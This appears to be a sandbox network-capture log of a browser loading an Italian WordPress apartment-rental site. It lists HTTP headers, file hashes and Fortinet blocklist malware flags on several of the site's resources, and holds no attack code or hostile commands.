Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 3894
Cache-Control: max-age=154074
Date: Mon, 28 Nov 2022 16:48:21 GMT
Etag: "63848df9-1d7"
Expires: Wed, 30 Nov 2022 11:36:15 GMT
Last-Modified: Mon, 28 Nov 2022 10:31:21 GMT
Server: ECS (ska/F710)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.102.187.140
HTTP/2 200 OK
content-type: application/json
                                        
access-control-allow-origin: *
access-control-expose-headers: Backoff, Alert, Content-Type, Retry-After, Content-Length
content-security-policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
content-length: 939
via: 1.1 google
date: Mon, 28 Nov 2022 16:17:48 GMT
cache-control: public,max-age=3600
age: 1833
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    d130218d0e2841f39c99610fe1a2ab90
Sha1:   29fbe1e177ee55c7a61ae0a206afff271cf5f945
Sha256: 6b6d74dccf10c2bc98a91c3388280d7ba1d9596bf8cadd7db0e2f63720b3d152
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "5EA71CE6DD9E927F9BB3F97F59CC1AC7DC25A949024815965B29BC5835614786"
Last-Modified: Sat, 26 Nov 2022 09:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=10336
Expires: Mon, 28 Nov 2022 19:40:37 GMT
Date: Mon, 28 Nov 2022 16:48:21 GMT
Connection: keep-alive

                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2022-12-30-09-21-26.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         34.160.144.191
HTTP/2 200 OK
content-type: binary/octet-stream
                                        
x-amz-id-2: w+93YNLgddg1s/nzIXjr64d6jJQc95JgxOMzBfkYtp/R2VxGMWYzLHje9KSfbDv6MiWT3JqDzKU=
x-amz-request-id: HSAR3Y9KCYXK8G2Q
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
content-length: 5348
via: 1.1 google
date: Mon, 28 Nov 2022 16:42:08 GMT
age: 373
last-modified: Thu, 10 Nov 2022 09:21:27 GMT
etag: "9ebddc2b260d081ebbefee47c037cb28"
cache-control: public,max-age=3600
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    9ebddc2b260d081ebbefee47c037cb28
Sha1:   492bad62a7ca6a74738921ef5ae6f0be5edebf39
Sha256: 74bbb7cba16f7d084a08a0907d47d7496e5c148f904707ec6950f8f6a61027e5
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                        
server: nginx
date: Mon, 28 Nov 2022 16:48:21 GMT
content-length: 12
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            GET /info-offerte HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

search
                                         89.46.108.76
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=UTF-8
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:21 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Pingback: http://www.ilportoappartamenti.com/xmlrpc.php
Location: http://www.ilportoappartamenti.com/info-offerte/
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  
Size:   0
Md5:    d41d8cd98f00b204e9800998ecf8427e
Sha1:   da39a3ee5e6b4b0d3255bfef95601890afd80709
Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.102.187.140
HTTP/2 200 OK
content-type: application/json
                                        
access-control-allow-origin: *
access-control-expose-headers: Backoff, Pragma, Alert, Content-Type, ETag, Retry-After, Last-Modified, Content-Length, Cache-Control, Expires
content-security-policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
content-length: 329
via: 1.1 google
date: Mon, 28 Nov 2022 16:08:55 GMT
cache-control: public,max-age=3600
age: 2366
last-modified: Fri, 25 Mar 2022 17:45:46 GMT
etag: "1648230346554"
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (329), with no line terminators
Size:   329
Md5:    0333b0655111aa68de771adfcc4db243
Sha1:   63f295a144ac87a7c8e23417626724eeca68a7eb
Sha256: 60636eb1dc67c9ed000fe0b49f03777ad6f549cb1d2b9ff010cf198465ae6300
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 2675
Cache-Control: max-age=147788
Date: Mon, 28 Nov 2022 16:48:22 GMT
Etag: "63847a2f-1d7"
Expires: Wed, 30 Nov 2022 09:51:30 GMT
Last-Modified: Mon, 28 Nov 2022 09:06:55 GMT
Server: ECS (ska/F710)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: GjmbWYhIQqx6trw452z04A==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

search
                                         52.89.136.7
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: XKorKwa0XLxMtWwd0dZEnnTh+i0=

                                        
                                            GET /info-offerte/ HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Pingback: http://www.ilportoappartamenti.com/xmlrpc.php
Link: <http://www.ilportoappartamenti.com/?p=510>; rel=shortlink
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- HTML document text\012- exported SGML document text\012- exported SGML document, Unicode text, UTF-8 text, with very long lines (981), with CRLF, LF line terminators
Size:   9339
Md5:    2634ae31acfb1e67de39cbb6d5ec693c
Sha1:   563bb031f1d4aa0f2e1265446df0bea28242f301
Sha256: c6d45ccb46ff1bf28e8054271619fb66924b00133a8abee0761178e32e4b5509

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /css?family=Lato|Lato:300|Vollkorn:400italic HTTP/1.1 
Host: fonts.googleapis.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/

search
                                         142.250.74.10
HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
                                        
Access-Control-Allow-Origin: *
Timing-Allow-Origin: *
Link: <http://fonts.gstatic.com>; rel=preconnect; crossorigin
Expires: Mon, 28 Nov 2022 16:48:22 GMT
Date: Mon, 28 Nov 2022 16:48:22 GMT
Cache-Control: private, max-age=86400
Cross-Origin-Opener-Policy: same-origin-allow-popups
Cross-Origin-Resource-Policy: cross-origin
Content-Encoding: gzip
Transfer-Encoding: chunked
Server: ESF
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff


--- Additional Info ---
Magic:  ASCII text
Size:   609
Md5:    e83a96ae54b158932c3317ab56fdfcfe
Sha1:   980dadad927c38474def48a37ecd4e704406db35
Sha256: 2a65392bab323ce024f8bca305702a79deb86e6914e67e9d697af2c414235a1d
                                        
                                            GET /wp-content/plugins/cookie-notice/css/front.min.css?ver=3.5.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Fri, 17 Nov 2017 09:56:57 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (2177), with no line terminators
Size:   778
Md5:    71173b8d061368e09b0617058e4c1f9b
Sha1:   82a3cab7b51c0608dcb4540c1cdf46549f1c9bac
Sha256: df496c902e392eec98bf0ab7b309eb3f084db0046d2f01e5ecff73f8c6b285e0

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /maps/api/js?sensor=false&v=3.5&ver=3.5.2 HTTP/1.1 
Host: maps.google.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/

search
                                         216.58.211.14
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=UTF-8
                                        
Date: Mon, 28 Nov 2022 16:48:22 GMT
Expires: Mon, 28 Nov 2022 17:18:22 GMT
Cache-Control: public, max-age=1800
Vary: Accept-Language
Cross-Origin-Resource-Policy: cross-origin
Timing-Allow-Origin: *
Content-Encoding: gzip
Server: mafe
Content-Length: 53397
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
Server-Timing: gfet4t7; dur=11


--- Additional Info ---
Magic:  ASCII text, with very long lines (2498)
Size:   53397
Md5:    dc201a3c6e1bcf514e730fe1028da848
Sha1:   89c676f11e2a6b0970c3e08ce715881607957c12
Sha256: d71c6624530e02af0823c2a65da6552b9692d6584e2138632cabc605707c08f1
                                        
                                            GET /translate-this.js HTTP/1.1 
Host: x.translateth.is
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/

search
                                         151.101.65.195
HTTP/1.1 301 Moved Permanently
                                        
Connection: close
Content-Length: 0
Server: Varnish
Retry-After: 0
Location: https://x.translateth.is/translate-this.js
Accept-Ranges: bytes
Date: Mon, 28 Nov 2022 16:48:22 GMT
X-Served-By: cache-bma1667-BMA
X-Cache: HIT
X-Cache-Hits: 0
X-Timer: S1669654103.644283,VS0,VE0
alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400

                                        
                                            GET /wp-content/plugins/fancybox-for-wordpress/fancybox/fancybox.css?ver=3.5.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:31:36 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   1798
Md5:    2dd710c2b5f2bb0d0f743d5127e81ec9
Sha1:   7a2cb7fc84d25389292d4a195851318d2b4b2670
Sha256: 1eba6a6bd738ecc38f0ed1d667374b98917a029e6c354f676567eabd68234b44

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/nextgen-gallery/css/nggallery.css?ver=1.0.0 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:32:27 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   1840
Md5:    72e064ea383473dbc4e4ffb0260ecce7
Sha1:   7cd7442d9fe2c68edac723749011fb1b4d1b0c87
Sha256: 324732fd0245587df0292536ba6bb30ba45a0050300135860d9b267a5cb8dbc3
                                        
                                            GET /wp-content/themes/Lamoon/css/skeleton.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:11 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   1610
Md5:    752a298014a1fb5cc7a6874b82220718
Sha1:   4c07ecda921b8b0a36aeca2eda44961a84f043dd
Sha256: c742c6a4f6d0d068fbaacd913474ac73fe35957f8be2ce5ded0d4221e317565a

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-includes/js/thickbox/thickbox.css?ver=20121105 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:29:56 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   1171
Md5:    dbcc1e9f9eb40f9e560f03845744b138
Sha1:   ff723f54a454177b1fa73514d38f7ffa47e4795e
Sha256: 066c9c8550e1b0f609c2041cd4b7c114ab22ad6c804a0d2d13b389fac1c96579

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/css/flexslider.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:08 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (366)
Size:   1380
Md5:    00747ad53f9928838d083cfa72e0aee5
Sha1:   5d505deb5bd6e0d3611683dae64af143fb96daf8
Sha256: 25e1d6916640256c55c6affc846c92257a8465303a6e5465e8f900ed231a8c95
                                        
                                            GET /wp-content/themes/Lamoon/css/jquery.fancybox-1.3.4.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:09 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   1820
Md5:    ced83c9aa694884c651693f6a04c7acf
Sha1:   1ca2a1c71173ffcd828dfad854da4eddaf4e1a56
Sha256: f2f2c32616539cf0ddc0a22f541504811a44d87de8289a08717811e02a0d7c70

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/css/smoothness/jquery-ui-1.8.22.custom.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:37:26 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (1399)
Size:   4117
Md5:    2a6a0ee81e1b0f31b638021ab68728fb
Sha1:   5e30fd2cf30cafff7056f7f776de90d495ff51f8
Sha256: 05284265b77a499e563fffbfa8f9c260b2d69485592df0ed4120f37330054bc7
                                        
                                            GET /wp-content/themes/Lamoon/css/validationEngine.jquery.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:11 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   791
Md5:    2d2c9bb086e19f83f0fe0995e7fbeb71
Sha1:   2b46c81584568be110df113557be58a859c2999e
Sha256: 4ef9bcba541345f1873b9d3f735d453882b413255982e7f40de98594a55e33e2

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/css/ui.spinner.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Content-Length: 139
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:34:11 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  ASCII text
Size:   139
Md5:    c49afc06b6c043c50f81cafbd7f10c66
Sha1:   d9d77934ad456b88b4dcab5bc0035b8cfd9537ab
Sha256: c2f3a047b6bfa18aa871e59d1a9ce502babe98c3b142582510d4954adcde5109
                                        
                                            GET /translate-this.js HTTP/1.1 
Host: x.translateth.is
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.ilportoappartamenti.com/
Connection: keep-alive
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         151.101.65.195
HTTP/2 200 OK
content-type: text/javascript; charset=utf-8
                                        
cache-control: max-age=3600
content-encoding: gzip
etag: "66bf6c5ab717b6bcddb1615de9fd1c5181902fd09ec3dab21995d0ec5ca24805"
last-modified: Fri, 13 Apr 2018 20:36:56 GMT
strict-transport-security: max-age=31556926
accept-ranges: bytes
date: Mon, 28 Nov 2022 16:48:22 GMT
x-served-by: cache-bma1682-BMA
x-cache: HIT
x-cache-hits: 1
x-timer: S1669654103.706592,VS0,VE1
vary: x-fh-requested-host, accept-encoding
alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
content-length: 575
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (950), with no line terminators
Size:   575
Md5:    61dac455f05a76bc2e45d9c2dd3570e0
Sha1:   ea41688b76d4164ba361c4bec3a40635980a8f7c
Sha256: 66bf6c5ab717b6bcddb1615de9fd1c5181902fd09ec3dab21995d0ec5ca24805
                                        
                                            GET /wp-content/themes/Lamoon/css/font-awesome.min.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:09 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (14278)
Size:   3495
Md5:    2fdd461e550d1dc14c5689e8e586d2b6
Sha1:   b152af27813044b74cd5aae7713178ac71ce7633
Sha256: eff7ad053ca2f238ea28218e75b405faa4fdf8561cbab9dad8bbc8c536e6460b
                                        
                                            GET /wp-content/themes/Lamoon/style.css?ver=1.4 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:28:40 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (772)
Size:   10908
Md5:    15e54664b36ec57eea6ddd0f5f02b3a2
Sha1:   91178ac1b7b8d4e22fd802c31e7853251a378a38
Sha256: 3fc25ade49fe2992993707961178ef2ebcc7f0bb020f9f50cdef8bc86ef10c27
                                        
                                            GET /wp-content/themes/Lamoon/css/colors/blue.css?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:37:24 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text
Size:   336
Md5:    88bb45b9793aa6f79f9abaac968269c5
Sha1:   1edbd27dd9bf7537340e98cbb8fd1e1eda4ce8e1
